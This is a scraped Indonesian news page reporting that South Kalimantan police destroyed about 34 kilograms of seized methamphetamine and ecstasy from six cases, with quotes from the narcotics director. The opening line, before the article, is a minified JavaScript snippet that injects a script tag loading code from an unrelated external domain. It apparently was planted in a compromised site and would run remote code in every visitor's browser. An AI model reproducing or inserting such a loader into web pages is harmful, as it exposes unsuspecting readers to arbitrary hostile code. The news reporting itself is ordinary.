(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Jajaran Dit Resnarkoba Polda Kalsel memusnahkan barang bukti narkotika dan obat-obatan terlarang yang merupakan tangkapan narkoba Januari lalu. Pemusnahan sendiri dilakukan di Mapolda Kalsel di Banjarmasin, Jumat (14/2/2020) pagi.
Kapolda Kalsel Irjen Yazid Fanani melalui Direktur Resnarkoba Polda Kalsel Kombes Wisnu Widarto mengungkapkan, barang bukti yang berhasil disita oleh jajarannya mencapai 34.340,43 gram atau 34,34 kilogram. Terdiri dari sabu seberat 27,98 kilogram, ekstasi sebanyak 9.267 butir dengan berat 3,52 kilogram, pil sabu sebanyak 19.900 butir dengan berat 2,1 kilogram, kapsul ekstasi sebanyak 600 butir dengan berat 0,2 kilogram, dan serbuk ekstasi seberat 0,5 kilogram.
“Ini dari 6 kasus dengan jumlah tersangka 12 orang. Jadi total yang dimusnahkan setelah dikurangi untuk laboratorium forensik dan barang bukti di persidangan adalah 34,27 kilogram,” kata Kombes Wisnu.
Ia tidak menampik, ungkapan kasus narkoba jaringan internasional ini merupakan yang terbesar sejak berdirinya Polda Kalsel. Jika dirunut dari data Dit Resnarkoba Polda Kalsel, ungkapan ini menduduki peringkat ketiga di Pulau Kalimantan. “Sebelumnya di Kalimantan Barat seberat 100 kilogram yang diungkap BNN, kemudian di Kalimantan Timur seberat 38 kilogram, dan kita di nomor tiga selama ini,” tambah Kombes Wisnu.
Ungkapan narkoba sebesar ini, diprediksi mampu menyelamatkan sebanyak 274.724 jiwa terhindar dari bahaya obat terlarang ini. Dengan asumsi, 1 gram sabu dikonsumsi sebanyak 8 orang, dan 1 butir ekstasi dikonsumsi oleh 1 orang.
“Pengungkapan ini murni di daerah kita sendiri (Kalsel), kalau di tahun 2018 kita jemput bola ke luar daerah tapi itu belum tentu barang masuk ke sini. Tapi kemarin setelah kita analisa, dengan keyakinan kita bahwa ada peredaran di Kalsel sendiri juga begitu besar setelah kita fokus ternyata terbukti,” jelasnya.
Apa yang diungkapkan Kombes Wisnu tidak salah. Pada akhir Januari lalu, pihaknya berhasil mengungkap peredaran narkoba jaringan internasional dengan membekuk tersangka dengan inisial NAZ pada Sabtu (18/1/2020) silam. “Kita ungkap (narkoba) dengan berat 32,5 kilogram sabu di wilayah kita. Dari catatan tersangka sudah dua tahun bekerja dan sudah 600 kilogram atau setengah ton lebih sabu yang beredar di Kalsel,” katanya. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.